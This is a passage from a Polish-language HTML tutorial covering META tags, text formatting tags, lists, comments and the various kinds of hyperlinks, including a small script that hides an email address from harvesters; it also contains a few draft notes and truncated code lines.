`<META NAME="Keywords" CONTENT="wyraz1, wyraz2, wyraz3...">`, gdzie "wyraz1, wyraz2, wyraz3..." oznaczają wyrazy, które należy rozdzielać przecinkami. Można oczywiście podać więcej niż trzy wyrazy (w miejsce kropek). Polecenie to należy wstawić między znacznikami: <HEAD> oraz </HEAD>. Pozwala Ci ono podać wyrazy kluczowe, z których korzystają wyszukiwarki sieciowe. Dlatego staraj się tutaj wpisać wyrazy, które jak najlepiej opiszą zawartość Twojej strony. Dobrze dobrane wyrazy kluczowe, pomogą wyszukiwarkom odnaleźć Twoją stronę!

Język strony

`<META HTTP-EQUIV="Content-Language" CONTENT="język">`, gdzie jako "język" należy podać skrót nazwy wybranego języka. Polecenie to należy wstawić między znacznikami: <HEAD> oraz </HEAD>. Pozwala Ci ono podać, w jakim języku jest napisana Twoja strona internetowa, np.: pl — polski, en — angielski, de — niemiecki, fr — francuski, it — włoski, sp[3] — hiszpański, ru — rosyjski i inne.

Autor strony

`<META NAME="Author" CONTENT="Tu wpisz swoje imię i nazwisko">` Pozwala ono podać informację, kto jest autorem strony.

Adres zwrotny

`<META HTTP-EQUIV="Reply-to" CONTENT="Twój adres e-mail">`, gdzie jako "Twój adres e-mail" należy podać swój adres poczty elektronicznej (np.: "jan_kowalski@domena.pl"). Pozwala podać zwrotny adres poczty elektronicznej e-mail, na który można odpowiadać.

Data utworzenia

`<META HTTP-EQUIV="Creation-date" CONTENT="data">`, gdzie jako "data" należy wpisać datę utworzenia dokumentu w formacie GMT, np.: "Tue, 20 Aug 1996 14:25:27 GMT". Czas w formacie GMT jest określany dla Greenwich (południk "0"). W Polsce strefa czasowa jest przesunięta o +1 godz. (czas zimowy) lub +2 godz. (czas letni). Dlatego w przypadku tworzenia daty GMT, należy odjąć od czasu lokalnego odpowiednio: 1 lub 2 godziny.

Komenda wprowadza informację o dacie utworzenia dokumentu, z której mogą korzystać np. sieciowe indeksery.

[2] tylko Internet Explorer 5.5 lub nowszy

[3] myslalem ze es jest hiszpania, trzeba sprawdzic...

Utrata ważności

`<META HTTP-EQUIV="Expires" CONTENT="data">`, gdzie jako "data" należy wpisać datę, kiedy dokument traci ważność, np.: "Tue, 20 Aug 1996 14:25:27 GMT". Komenda wprowadza informację, kiedy dany dokument traci ważność. Może to być sygnał dla przeglądarki, że trzeba wczytać go ponownie.

Automatyczne odświeżanie strony

`<META HTTP-EQUIV="Refresh" CONTENT="s">`, gdzie jako "s" należy podać liczbę, określającą co jaki przedział czasu (w sekundach) będzie odświeżana strona, czyli ponownie wczytywana. Polecenie to pozwala na automatyczne odświeżanie strony, co pewien określony przedział czasu (podany w sekundach).

Automatyczne wczytywanie strony

`<META HTTP-EQUIV="Refresh" CONTENT="s; URL=Tu podaj adres strony lub ścieżkę d`
gdzie jako "s" należy podać czas, po którym zostanie załadowana podana strona (w sekundach). Natomiast w miejsce tekstu: "Tu podaj adres strony lub ścieżkę dostępu" należy wpisać adres lub ścieżkę dostępu do strony, która ma być wczytana. Polecenie to pozwala na automatyczne wczytanie podanej strony. Załadowanie nastąpi po określonym przez nas czasie (podanym w sekundach).

Ikona strony

`<LINK REL="Shortcut icon" HREF="adres ikony">`, gdzie jako "adres ikony" należy podać URL, pod którym znajduje się ikona, np.: http://www.mojastrona.pl/favicon.ico Polecenie to pozwala dodać ikonkę (favicon.ico), która będzie widoczna w przeglądarce[4] przy adresie naszej strony. Typowy rozmiar ikony to 16x16 pikseli. W systemie Windows jest dodatkowa możliwość umieszczenia skrótu na pulpicie — wtedy przydatna może być ikona o rozmiarach 32x32. Format *.ico pozwala zapisać dwie wersje rozmiaru w jednym pliku.

Niestety niektóre przeglądarki pobierają ikonę strony tylko raz, a później rzadko jest ona odświeżana (albo nawet wcale). Więc jeśli kiedyś wprowadzimy nową, może to nie dać żadnego efektu, bo np. Internet Explorer zapisuje ikonę przy dodawaniu strony do ulubionych. Dlatego zanim wprowadzimy taki dodatek, warto go wcześniej dobrze dopracować.

7.3 Tekst i jego formatowanie

Poza zwykłym tekstem, na stronę możesz wprowadzić znaczniki (tzw. "tagi"). Znacznik jest to specjalny tekst, umieszczony w nawiasach ostrych, np.
. Jest on częścią składni języka HTML i pozwala sterować wyglądem strony. Dzięki niemu możesz np. ustalić kolor tła, rodzaj formatowania tekstu, wstawić obrazek czy tabelę itd. Znacznik nie jest widoczny na ekranie, widoczne są tylko efekty jego działania (np. wstawienie obrazka).

Znaczniki "tekstowe" :

Paragraf

Paragraf (czyli akapit) jest to część tekstu objęta znacznikami: <P>...</P>. Następujące bezpośrednio po sobie paragrafy są oddzielone przerwą w tekście (pustą linią). Dzięki umieszczanu w kolejnych

[4] Internet Explorer, Netscape 7, Opera 7

pagrafach treści nieco różniącej się tematycznie, strona stanie się bardziej estetyczna oraz czytelniejsza. Stosując paragrafy, możemy skorzystać z kilku metod wyrównywania tekstu na stronie (czyli jego ustawienia).

wyświetlanie: w bloku /ref

1. Wyrównanie do lewej (domyślnie): `<P ALIGN="left">...</P>` lub `<P>...</P>`
2. Wyrównanie do prawej: `<P ALIGN="right">...</P>`
3. Wyśrodkowanie: `<P ALIGN="center">...</P>`
4. Justowanie (wyrównanie do obu marginesów jednocześnie): `<P ALIGN="justify">...</P>`

Język HTML przewiduje dwa podstawowe modele wyświetlania treści znaczników:

1. w bloku — podczas wyświetlania bloku w przeglądarce, automatycznie dodawane są znaki końca linii (linijki przerwy) przed oraz po takim bloku tak, że każdy taki element jest wyświetlany w nowej linii. Generalnie element blokowy może zawierać wewnątrz siebie zwykły tekst, jak również inne elementy blokowe. Został on pomyślany do tworzenia obszerniejszych struktur niż elementy wyświetlane w linii.
2. w linii — elementy takie są wyświetlane normalnie, tzn. bez dodawania dodatkowych interlinii przed i po (tak jak zwykły tekst). Dwa takie elementy mogą znajdować się w jednej linii — obok siebie. Generalnie nie powinny one zawierać elementów blokowych, ale mogą inne elementy wyświetlane w linii oraz zwykły tekst. Jeśli jednak umieścimy wewnątrz nich jakiś element blokowy, może to spowodować (choć nie musi), że przeglądarka zignoruje taki znacznik (w większości przypadków tak się nie dzieje).

Tytuł

Aby nadać tytuł (nagłówek) jakiejś części tekstu (rozdziałowi), możesz użyć tej komendy. Istnieje sześć rzędów tytułów. Najwyższym rzędem jest rząd pierwszy: <H1>...</H1>, a najniższym — szósty: <H6>...</H6>. Tytuł wyższego rzędu jest pisany większą czcionką. Tworząc tytuły możesz użyć tych samych sposobów wyrównywania tekstu co w przypadku paragrafów (na str. 87), czyli np. wyrównanie do lewej `<Hn ALIGN="left">...</Hn>` itd. Stosując polecenie: <Hn TITLE="Tu podaj opis">...</Hn>, możemy wprowadzić opis, który będzie się pojawiał, gdy przesuniemy wskaźnik myszki na dany tytuł. Atrybut ten (TITLE) można stosować praktycznie w stosunku do wszystkich znaczników HTML (oprócz: BASE, BASEFONT, HEAD, HTML, META, PARAM, SCRIPT, TITLE).

patrz: wyświetlanie w bloku /ref

Blok

Polecenie to wydziela większy blok tekstu, przez co możemy nadać mu jakiś rodzaj formatowania. Ustalając bloki możesz użyć tych samych sposobów wyrównywania tekstu co w przypadku paragrafów (na str. 87), czyli np. wyrównanie do lewej `<DIV ALIGN="left">...</DIV>` itd.

W odróżnieniu od paragrafu, blok może zawierać wewnątrz siebie inne elementy wyświetlane w bloku. Kolejne bloki są oddzielane od siebie znakami nowej linii, ale nie są dodawane linijki przerwy (aby je dodać, należy zastosować znacznik
).

patrz: wyświetlanie w bloku /ref

Wyśrodkowanie

<CENTER>...</CENTER>, polecenie to pozwala wyśrodkować (czyli ustawić na środku ekranu) dowolny element — nie tylko tekst, ale również np. obrazek. Jednym takim znacznikiem można objąć równocześnie kilka elementów. Jego działanie jest analogiczne jak <DIV ALIGN="center">.

patrz: wyświetlanie w bloku /ref

Koniec linii

 Jest to bardzo przydatny znacznik. Używamy go, gdy chcemy natychmiast zakończyć linię i przejść do następnej (wszystkie normalne znaki końca liniii są ignorowane przez przeglądarkę).

Blokada przełamania wiersza

<NOBR>...</NOBR> To polecenie wykorzystujemy, gdy zależy nam na zablokowaniu przełamania wiersza, tzn. chcemy aby cały tekst był pisany w jednej linii, niezależnie od jego długości (przeglądarka automatycznie zawija wiersze, które nie mieszczą się na ekranie). Jeśli chcemy odwołać ten efekt przed zamknięciem znacznika (czyli przed pojawieniem się </NOBR>), musimy użyć polecenia: <WBR> (tylko Internet Explorer). Po jego użyciu wiersz zostanie przełamany, chociaż wszystko dzieje się nadal w obrębie znacznika <NOBR>...</NOBR>. Polecenie <WBR> działa tylko wówczas, jeżeli tekst wpisany w ramach <NOBR>...</NOBR> nie mieści się na ekranie. Natomiast jeśli chcemy natychmiastowo zakończyć linię, należy użyć
.

Inne

Wszystkie wymienione teraz znaczniki sa wyswietlane w linii (patrz str. 87) <B>...</B> Znacznik ten pozwala pogrubić (wytłuścić) część tekstu (ang. "bold").

<I>...</I> Pozwala napisać tekst pismem pochylonym, czyli kursywą (ang. "italic").

<U>...</U> Pozwala podkreślić fragment tekstu (ang. "underline").

<S>...</S> lub <STRIKE>...</STRIKE> Pozwala przekreślić część tekstu.

<BLINK>...</BLINK> Wprowadza[5] na ekran migający tekst.

<EM>...</EM> (zwykła emfaza) i <STRONG>...</STRONG> (mocna emfaza) pozwalają wyróżnić dowolny tekst. Pierwsze polecenie zwykle wyświetla tekst napisany kursywą, natomiast drugie — pogrubiony.

Komendy ^{...} i _{...} umożliwiają wprowadzenie indeksów (górnych lub dolnych) przy cyfrach i literach. Przydatne np. do potęg.

Czcionka

patrz: wyświetlanie w linii /ref, <FONT>...</FONT>

Wielkość czcionki:

- Wartość bezwzględna <FONT SIZE="n">...</FONT>, gdzie "n" oznacza wielkość pisma (1 — najmniejsza, 7 — największa, 3 — domyślna). Przykład:
  Czcionka o rozmiarze 1 (w Internet Explorerze 10 pikseli)
  Czcionka o rozmiarze 2 (12 pikseli)
  Czcionka o rozmiarze 3 (domyślna) (16 pikseli)
  Czcionka o rozmiarze 4 (18 pikseli)

[5] tylko w Netscape i Opera 7.20

Czcionka o rozmiarze 5 (24 piksele)
Czcionka o rozmiarze 6 (32 piksele)
Czcionka o rozmiarze 7 (48 pikseli)

- Wartość względna `<FONT SIZE="+n">...</FONT>` lub `<FONT SIZE="-n">...</FONT>`, gdzie "+n" oznacza czcionkę o "n" większą od aktualnej. Natomiast "-n" oznacza czcionkę o "n" mniejszą od bieżącej. Przykład:
  Czcionka o rozmiarze 3 (domyślna)
  Czcionka o rozmiarze +1 (3+1=4)
  Czcionka o rozmiarze +2 (3+2=5)
  Czcionka o rozmiarze +3 (3+3=6)
  Czcionka o rozmiarze +4 (3+4=7) — największa możliwa
  Czcionka o rozmiarze -1 (3-1=2)
  Czcionka o rozmiarze -2 (3-2=1) — najmniejsza możliwa

Wprowadza tekst napisany powiększoną czcionką (`<BIG>...</BIG>`) lub pomniejszoną (`<SMALL>.` Wpisując powyższe znaczniki (tego samego rodzaju) jednen wewnątrz drugiego (np.: <BIG><BIG>...</BIG> można zwiększyć lub zmniejszyć rozmiar tekstu o kilka wielkości.

patrz: wyświetlanie w bloku (odnosnik) do "Jezyk Html przewiduje..."

Kolor tekstu `<FONT COLOR="kolor">...</FONT>`, gdzie "kolor" oznacza kolor jaki chcemy nadać tekstowi (np.: "#130DC5" lub "black" itd.).

Rodzaj czcionki `<FONT FACE="rodzaj1, rodzaj2, rodzaj3...">...</FONT>`, gdzie zamiast "rodzaj1, rodzaj2, rodzaj3..." należy wpisać rodzaj czcionki (np.: Arial, 'Courier New', 'Times New Roman', Verdana i inne). Jeżeli nazwa czcionki składa się z kilku wyrazów, to w przypadku drugiego polecenia należy ją objąć w znaki apostrofu (np.: `<FONT FACE="Verdana, 'Times New Roma`

UWAGA! Należy być ostrożnym z używaniem tego polecenia, ponieważ jeśli użytkownik oglądający Twoją stronę, nie będzie posiadał podanej czcionki w swoim systemie operacyjnym, tekst zostanie napisany czcionką domyślną (w Internet Explorerze będzie to najprawdopodobniej 'Times New Roman', chociaż to też nie jest pewne). Poza tym nie każda czcionka potrafi zapisać poprawnie polskie znaki (w standardzie ISO). Koniecznie sprawdź rezultat w praktyce! W systemie Windows standardowo dostępne powinny być czcionki: 'Times New Roman', Arial, 'Courier New'. Dodatkowo od jakiegoś czasu z Internet Explorerem dostarczane są: Verdana, Tahoma, 'Trebuchet MS', Georgia. Przy definiowaniu czcionki, dobrze jest wykorzystywać te właśnie rodzaje, a także takie które domyślnie występują w innych systemach operacyjnych (np.: Helvetica — podobna do Arial).

Teoretycznie wystarczy podać tylko jeden "rodzaj", lecz podanie kilku pozwala się ubezpieczyć na wypadek nieposiadania jednego rodzaju czcionki przez użytkownika.

Czcionka bazowa

`<BASEFONT SIZE="rozmiar" COLOR="kolor" FACE="rodzaj">`. Polecenie to pozwala określić parametry czcionki bazowej (domyślnej). Wszystkie atrybuty (SIZE, COLOR, FACE) mają takie same znaczenie jak w przypadku zwykłych czcionek. Ponieważ element ten nie ma znacznika zamykającego (!), zmienia parametry całego tekstu, znajdującego się poniżej niego, aż do pojawienie się następnego znacznika BASEFONT. Zwykle polecenie to umieszcza się na stronie tylko jeden raz — w treści nagłówkowej dokumentu, czyli pomiędzy <HEAD> oraz </HEAD>

Komputerowa

<PRE>...</PRE> wprowadza tekst preformatowany, czyli napisany czcionką monotypiczną (o stałej szerokości znaku), który uwzględnia dodatkowe spacje, tabulację i znaki końca linii (nie trzeba stosować znaczników
) oraz nie jest automatycznie zawijany. Dzięki niemu możesz np. wkleić na stronę WWW tekst, wprost ze zwykłego edytora, bez stosowania dodatkowych znaczników (niestety informacje dotyczące formatowania zostaną pominięte). Należy jednak przy tym pamiętać, aby tekst nie zawierał znaków: "<" oraz ">" (w zamian używaj: < i >).

<CODE>...</CODE> pozwala wprowadzić fragment kodu komputerowego ("wyciąg" z programu lub źródła dokumentu), który jest napisany czcionką monotypiczną (tak jak w przypadku tekstu preformatowanego). Nie uwzględnia on jednak dodatkowych spacji, tabulacji ani znaków końca linii (trzeba używać
) oraz jest automatycznie zawijany. Ponieważ powyższy znacznik nie uznaje znaków końca linii, dodatkowych spacji, a także nie blokuje zawijania tekstu na ekranie, zamiast niego często używa się tekstu preformatowanego.

<VAR>...</VAR> wprowadza natomiast na ekran zmienną (matematyczną lub języka programowania), która zostaje wyróżniona, najczęściej poprzez pochylenie tekstu.

Wszystkie powyższe znaczniki obowiązują w linii (patrz str. 87).

Pozioma linia

<HR> Polecenie to pozwala narysować na ekranie poziomą linię. Może ona np. rozdzielać kolejne rozdziały, które różnią się tematycznie, przez co strona staje się bardziej czytelna i przejrzysta.

Linia może przyjmować kilka atrybutów. Może być pozbawiona cieniowania, przez użycie NOSHADE. Jesteśmy też w stanie określić grubość linii (przy pomocy SIZE="y") oraz jej długość (WIDTH="x"). Ponadto możliwe jest określenie koloru linii (COLOR="kolor") oraz jej ustawienia na strone (ALIGN="rodzaj"), gdzie jako "rodzaj" należy wpisać:

- "center" — wyśrodkowanie,
- "left" — ustawienie po lewej lub
- "right" — ustawienie po prawej.

Określenie ustawienie ma sens tylko wtedy, gdy jednocześnie podamy długość linii — atrybut WIDTH (mniejszy od 100%).

Obramowanie

<FIELDSET>...</FIELDSET> wprowadza obramowanie wokół wybranego fragmentu tekstu. Polecenie to często stosuje się wraz z <LEGEND>...</LEGEND>, co pozwala podać tytuł ramki po wpisaniu:

```
<FIELDSET>
<LEGEND>opis</LEGEND>
Jakiś tekst
</FIELDSET>
```

Lista

Możemy utworzyć listę nieuporządkowaną przy pomocy <UL>...</UL> lub uporządkowaną poprzez <OL>...</OL>. Kolejne elementy listy powinny zawierać się w znacznikach <LI>...</LI>.

Użycie znacznika zamykającego nie jest wymagane, jednakże wraz z wejściem XHTML-1.0 będzię wymagane. Tak więc dobrze jest się wdrożyć już teraz do tego dobrego zwyczaju.

Możliwe jest sprecyzowanie rodzaju wyliczenia przy pomocy TYPE="rodzaj". W przypadku listy nieuporządkowanej dozwolonymi wartościmi są m. in. disc (koło), circle (okrąg) oraz square (wypełniony kwadrat). Dla listy uporządkowanej możemy sterować rodzajem numeracji. Wartością TYPE="rodzaj" może być jedno z:

- 1 (domyślny) — numeracja według liczb arabskich,
- I — według dużych liczb rzymskich,
- i — według małych liczb rzymskich,
- a — według małych liter,
- A — według dużych liter.

Ponadto można podać numer początkowego wyrazu dzięki START="n". "n" oczywiście oznacza liczbę, od której ma się rozpocząć numerowanie. Warto wiedzieć, iż można zmienić numerację w trakcie listy dzięki atrybutowi VALUE="n". Podobnie jak poprzednio "n" jest nowym numerem wyrazu. Wartości atrybutu START i VALUE zawsze muszą być liczbą, nawet jeśli numerowanie następuje według liter!

Można też zagnieżdzać ze sobą listy. Podsumujmy to wszystko przykładem

```
<OL>
<LI>Punkt pierwszy</LI>
     <UL TYPE="square">
     <LI>Punkt 1.1</LI>
          <OL TYPE="a" START="4">
          <LI>Punkt 1.1.1</LI>
          <LI VALUE="10">Punkt 1.1.2</LI>
          </OL>
     <LI>Punkt 1.2</LI>
     </UL>
<LI>Punkt drugi</LI>
</OL>
```

wyświetlanie: w bloku /ref

Komentarz

Często zdarza się, że autor, dla swojej wygody, chciałby umieścić na stronie pewien tekst, który nie będzie widoczny dla normalnych użytkowników. Dzięki temu mógłby zaznaczyć ważne elementy strony lub wprowadzić inne informacje, które nie muszą być wyświetlane na ekranie, ponieważ mogłyby spowodować zaciemnienie właściwej treści. Do wprowadzenia tekstu, który jest niewidoczny na ekranie, ale istnieje w źródle dokumentu, służy właśnie komentarz <– Treść komentarza –>!. Cały tekst który zostanie do niego wpisany będzie zignorowany przez przeglądarkę, ale może przechowywać ważne informacje dla autora strony (np. prawa autorskie). Oczywiście wewnątrz komentarza zwykłe znaczniki nie są interpretowane (chociaż można je tam wpisać). Komentarz może być wieloliniowy, a więc może ciągnąć się przez wiele linii.

7.4 Odsyłacze

Co to jest wogóle od tego zacznijmy....???

Odsyłacze — inaczej hiperłącza, odnośniki hipertekstowe, linki — stanowią całą istotę Internetu. Bez nich byłby on jedynie wielką siecią do pobierania "suchych" danych, a dokumenty znajdujące się w niej, nie byłyby w żaden sposób ze sobą powiązane. Praktycznie na każdej stronie WWW spotyka się odsyłacze. Najczęściej stanowi je specjalnie wyróżniony krótki tekst (lub obrazek), po kliknięciu którego, następuje przeniesienie do innej strony. Przy czym strona taka może wchodzić w skład tego samego serwisu, ale równie dobrze może znajdować się na drugim końcu świata. Przeglądarki internetowe wyświetlają odsyłacze najczęściej w innym kolorze oraz podkreślają je (można to oczywiście zmienić — zobacz: Kolor odsyłaczy) — w ten sposób są one lepiej widoczne i odróżniają się od zwykłego tekstu.

Użytkownika można odsyłać również do cudzych stron, a nie tylko do własnych i nie jest to w żaden sposób łamanie praw autorskich (jeśli nie podpiszemy się jako autorzy takiej strony :-) — przeciwnie — jest do darmowa reklama dla strony, do której następuje odwołanie. Ważne jest jedynie, aby dokumenty były w jakiś sposób powiązane ze sobą tematycznie (chociaż nie jest to wymóg — można przecież umieścić na własnej stronie linki do różnych ciekawych miejsc w Internecie, które nie muszą mieć ze sobą związku). To jest właśnie istota hipertekstu — pozwala on uzyskać system połączeń pomiędzy różnymi dokumentami w sieci.

Odsyłacze są wykorzystywane głównie do dwóch najważniejszych celów.

1. Tworzenie spisu treści serwisu — spis taki jest podobny do tego, który występuje w zwykłych książkach. Jego zaletą jest jednak to, że nie trzeba ręcznie przeszukiwać całej zawartości w poszukiwaniu określonego numeru strony, ale wystarczy kliknąć odsyłacz i zostaniemy automatycznie przeniesieni we wskazane miejsce.

2. Linki do innych ciekawych miejsc w Internecie — zawiera je niemal każdy serwis internetowy. Jeśli użytkownik będzie chciał przeczytać więcej o danym zagadnieniu, będzie mógł skorzystać z takich odsyłaczy. W porównaniu z wyszukiwarkami internetowymi, linki mają taką zaletę, że autor zwykle starannie je wybrał i dlatego zawierają najczęściej rzetelne informacje, których odszukanie w tradycyjny sposób mogłoby zająć dużo więcej czasu.

Odsyłacze można podzielić na odwołujące się do:

7.4.1 Do etykiety

Etykieta — inaczej zakładka lub kotwica (ang. anchor) — to pewne zaznaczone miejsce na stronie. Jeśli zdefiniujemy taką zakładkę, będziemy mogli się później do niej bezpośrednio przenosić. Etykiety są wykorzystywane, gdy w jednym dokumencie znajduje się więcej ważnych miejsc — podrozdziałów, a wstawienie ich do osobnych plików, byłoby uciążliwe, ze względu na ich liczbę.

Tak jak w książce — każdy rozdział składa się z mniejszych podrozdziałów — tak samo na każdej osobnej stronie HTML definiuje się zakładki. Dzięki takiej konstrukcji, nawigacja w serwisie staje się dużo łatwiejsza. Po kliknięciu odsyłacza do etykiety, przeglądarka internetowa przenosi użytkownika bezpośrednio do podrozdziału, a nie na początek strony, przez co nie jest on zmuszony do samodzielnego odszukania wybranego tematu (co w przypadku obszernych dokumentów mogłoby długo potrwać). Etykietę można zdefiniować w dowolnym miejscu strony — również wewnątrz zwykłego tekstu.

Jeśli chcemy używać etykietę, najpierw należy ją zdefiniować w wybranym miejscu strony za pomocą polecenia: <A NAME="nazwa_etykiety"></A>. Następnie możemy się do niej odwoływać,

zarówno z tej samej jak i z innej strony, za pomocą zwykłych odsyłaczy: <A HREF="(ścieżka do strony)#nazwa_etykiety">opis odsyłacza</A>. Istnieją dwa rodzaje odsyłaczy do etykiet:

1. Etykieta zdefiniowana na tej samej stronie:

<A HREF="#nazwa etykiety">opis odsyłacza</A> (...) <A NAME="nazwa etykiety">(opis etykiety)</A>

lub

<A NAME="nazwa etykiety">(opis etykiety)</A> (...) <A HREF="#nazwa etykiety">opis odsyłacza</A>

2. Etykieta zdefiniowana na innej stronie:

<A HREF="ścieżka dostępu#nazwa etykiety">opis odsyłacza</A>

We wszystkich przypadkach <A NAME="nazwa etykiety">...</A> oznacza etykietę, do której nastąpi przeniesienie, po kliknięciu odsyłacza <A HREF="(ścieżka dostępu)#nazwa etykiety">...</A>.

Polecenie powoduje przejście do innego miejsca (etykiety) na tej samej lub innej stronie. Zasady wpisywania ścieżki dostępu są takie same jak w przypadku odsyłacza do podstrony. Należy jedynie pamiętać, że nazwa etykiety w poleceniu odsyłacza: <A HREF="#... oraz w definicji etykiety: <A NAME="... musi być bezwzględnie taka sama (włączając w to wielkość liter), jedynie w odsyłaczu nazwę należy poprzedzić znakiem # (krzyżyk)!

Można również zauważyć, że kolejność wpisywania odsyłacza <A HREF="#... oraz etykiety <A NAME="... na stronie jest dowolna, tzn. etykieta może znajdować się wcześniej niż odsyłacz do niej (powodując np. przeniesienie na samą górę strony). Dodatkowo opis etykiety nie jest konieczny (ale konieczny jest opis odsyłacza, bo w przypadku gdy go nie podamy, odsyłacz nie pojawi się na ekranie).

7.4.2 Do adresu internetowego

(w obrębie całego Internetu)

<A HREF="http://adres strony">opis</A>

W miejsce: "adres strony" należy podać pełny adres internetowy strony, do której chcemy się przenieść (np.: "http://www.rosamund.xl").

7.4.3 Do adresu pocztowego

(e-mail)

<A HREF="mailto:adres e-mail">opis</A>

gdzie jako "adres e-mail" należy podać adres poczty elektronicznej osoby, do której ma zostać wysłany list (np.: "jan_kowalski@jakas.domena.pl").

Dzięki temu odsyłaczowi, użytkownicy oglądający Twoją stronę, będą mogli wysłać list e-mail pod adres podany w poleceniu. Po kliknięciu takiego odnośnika, list nie zostanie wysłany natychmiastowo, lecz nastąpi otwarcie domyślnego programu pocztowego użytkownika (np.: Outlook Express), w którym będzie on mógł wpisać treść listu, a potem go wysłać do wskazanego adresata, którego e-mail pojawi się automatycznie. Jeśli podasz swój własny adres, będziesz w stałym kontakcie z użytkownikami odwiedzającymi Twój serwis.

Przykład:

Pamiętaj, że podanie swojego adresu na stronie WWW, może spowodować, że zaczną do Ciebie przychodzić niechciane wiadomości — reklamówki (tzw. spam). Dobrym pomysłem może być założenie sobie darmowego konta pocztowego w dowolnym portalu internetowym (np.: onet.pl) i podanie adresu takiego konta na swojej stronie — darmowe konto zawsze można zmienić. Zakłada-

jąc stronę WWW na darmowym serwerze, często dostajemy również konto e-mail. Wtedy można z niego skorzystać.

Aby zabezpieczyć się przed robotami sieciowymi — czyli specjalnymi programami, które automatycznie gromadzą adresy e-mail, umieszczone na stronach WWW — można posłużyć się skryptem. Zamiast typowego odsyłacza pocztowego, umieść na stronie:

<SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript"> <!– var uzytkownik = "jan_kowalski"; var domena = "jakas.domena.pl"; var dodatkowe = "?subject=Temat listu&body=Napisz co%9C:%0A"; var opis = "Wyślij do mnie list"; document.write('<A HR' + 'EF="mai' + 'lto:' + uzytkownik + ' x40' + domena + dodatkowe + '">'); if (opis) document.write(opis + '</A>'); else document.write(uzytkownik + ' x40' + domena + '</A>'); //–> </SCRIPT>

Przy czym wyróżnione wartości oznaczają:

- jan_kowalski — pierwszy człon adresu, znajdujący się przed znakiem @ (np.: jan_kowalski@jakas.domena.pl)
- jakas.domena.pl — drugi człon adresu, znajdujący się po znaku @ (np.: jan_kowalski@jakas.domena.pl)
- ?subject=Temat listu&body=Napisz co%9C:%0A — dodatkowe parametry (patrz poniżej). Zwróć szczególną uwagę, że parametry rozpoczynają się od pytajnika.
- Wyślij do mnie list — opis odsyłacza, który pojawi się na ekranie.

Dwie ostatnie wartości nie są wymagane, tzn. można ich nie podawać.

Wadą stosowania skryptu zamiast zwykłego odsyłacza pocztowego jest to, że jeśli przeglądarka użytkownika nie obsługuje skryptów JavaScript, nie zobaczy on żadnego odnośnika i nie będzie się mógł z Tobą skontaktować. Na szczęście znacząca większość używanych dzisiaj przeglądarek internetowych, bez trudu sobie z tym radzi, dlatego ryzyko błędu nie jest takie duże.

Możliwe jest także podanie odsyłacza pocztowego na inne sposoby: 1. List e-mail będzie miał podany przez nas tytuł: <A HREF="mailto:adres e-mail?subject=tytuł listu">opis</A> 2. Kopia listu będzie wysłana do podanej osoby: <A HREF="mailto:adres e-mail?cc=adres e-mail gdzie wysłać kopię">opis</A> 3. Ukryta kopia (żaden inny odbiorca listu nie zobaczy adresu podanego w bcc): <A HREF="mailto:adres e-mail?bcc=adres e-mail gdzie wysłać ukrytą kopię">opis</A> 4. W treści listu pojawi się podany tekst: <A HREF="mailto:adres e-mail?body=tu wpisz tekst">opis</A> 5. List zostanie wysłany do kilku podanych adresatów: <A HREF="mailto:pierwszy adres e-mail;drugi adres e-mail;trzeci adres e-mail">opis</A> 6. Połączenie powyższych elementów: <A HREF="mailto:mailto:pierwszy adres e-mail;drugi adres e-mail;trzeci adres e-mail?subject=tytuł listu&cc=adres e-mail gdzie wysłać kopię&bcc=adres e-mail gdzie wysłać ukrytą kopię&body=tutaj wpisz treść listu">opis</A>

7.4.4 Inne odsyłacze

Odsyłacz ftp (File Transfer Protocol): <A HREF="ftp://ftp.adres">opis</A> Protokół FTP służy do pobierania plików ze specjalnych serwerów. Możliwe jest zabezpieczenie połączenie hasłem dostępu lub udostępnienie plików wszystkim użytkownikom — tzw. logowanie anonymous (adres e-mail jako nazwa użytkownika).

Odsyłacz do grup dyskusyjnych:

- serwer domyślny: <A HREF="news:nazwa grupy">opis</A>
- wskazany serwer: <A HREF="news://serwer/">opis</A>
- wskazana grupa na podanym serwerze:

<A HREF="news://serwer/nazwa grupy">opis</A> Grupy dyskusyjne to usługa obsługiwana przez programy pocztowe, pozwalająca wypowiedzieć się na jakiś temat na forum oraz przeczytać wypowiedzi innych. Od zwykłego chat'u różni się tym, że dyskusja nie odbywa się czasie rzeczywistym, tzn. nie można oczekiwać natychmiastowej odpowiedzi na zadane pytanie.

Odsyłacz telnet: <A HREF="telnet://adres">opis</A> Telnet to usługa dzięki której możemy połączyć się z innym komputerem i nim sterować (znając komendy Unix'a) — wymagane jest posiadanie konta.

Odsyłacz gopher: <A HREF="gopher://adres">opis</A>

Odsyłacz wais: <A HREF="wais://adres">opis</A>

Odsyłacz newsrc: <A HREF="newsrc://adres">opis</A>

Odsyłacz nntp (Network News Transfer Protocol) — serwer grup dyskusyjnych: <A HREF="nntp://adres"

Bezpieczne połączenie SSL (Secure Sockets Layer) — szyfrowanie danych: <A HREF="https://adres">opis

Protokół SSL jest używany do przesyłana poufnych danych. Teoretyczne za jego pomocą można nawiązać połączenie ze zwykłą stroną HTML — analogicznie jak w przypadku odsyłacza do adresu internetowego. Ponieważ dane są szyfrowane, więc nawet jeśli osoba niepowołana przechwyci je po drodze podczas przesyłania, nie będzie potrafiła ich odczytać.[6] Nie należy jednak łączyć się w ten sposób z każdym dokumentem ponieważ szyfrowanie zabiera trochę czasu i strona wczytuje się wolniej.

Odsyłacz do skryptu: <A HREF="javascript:polecenia">opis</A> Odsyłacz ten, po kliknięciu, spowoduje wykonanie podanych poleceń języka JavaScript. Po wskazaniu takiego odsyłacza myszką, na pasku statusu mogą pojawić się nieestetyczne napisy. Jeśli nie chcesz, aby użytkownik widział taką treść, możesz zmienić wpis na pasku statusu, poprzez dodanie atrybutów: onmouseover="..." oraz onmouseout="...".

7.4.5 Odsyłacz obrazkowy

Do tej pory przedstawione zostały jedynie odsyłacze tekstowe, tzn. na ekranie był wyświetlany pewien krótki tekst (opis odsyłacza), po kliknięceiu którego, następowało przeniesienie do wskazanego adresu. Łatwo zauważyć, że to nie wszystkie możliwości, jakie dają odsyłacze. Na większości stron internetowych można spotkać "aktywne" obrazki, symulujące przyciski. Po kliknięciu, zachowują się one jak zwykły odsyłacz (w istocie są one odsyłaczami). Wprowadzenie takich przycisków na stronę jest prostsze niż myślisz — wystarczy pamiętać, że wewnątrz znacznika odsyłacza (pomiędzy <A HREF="..."> oraz </A>) można umieszczać nie tylko tekst, ale również inne znaczniki — m.in. odpowiadające za zmianę wyglądu tekstu (pogrubienie, pochylenie itd.), czy też wstawienie obrazka.

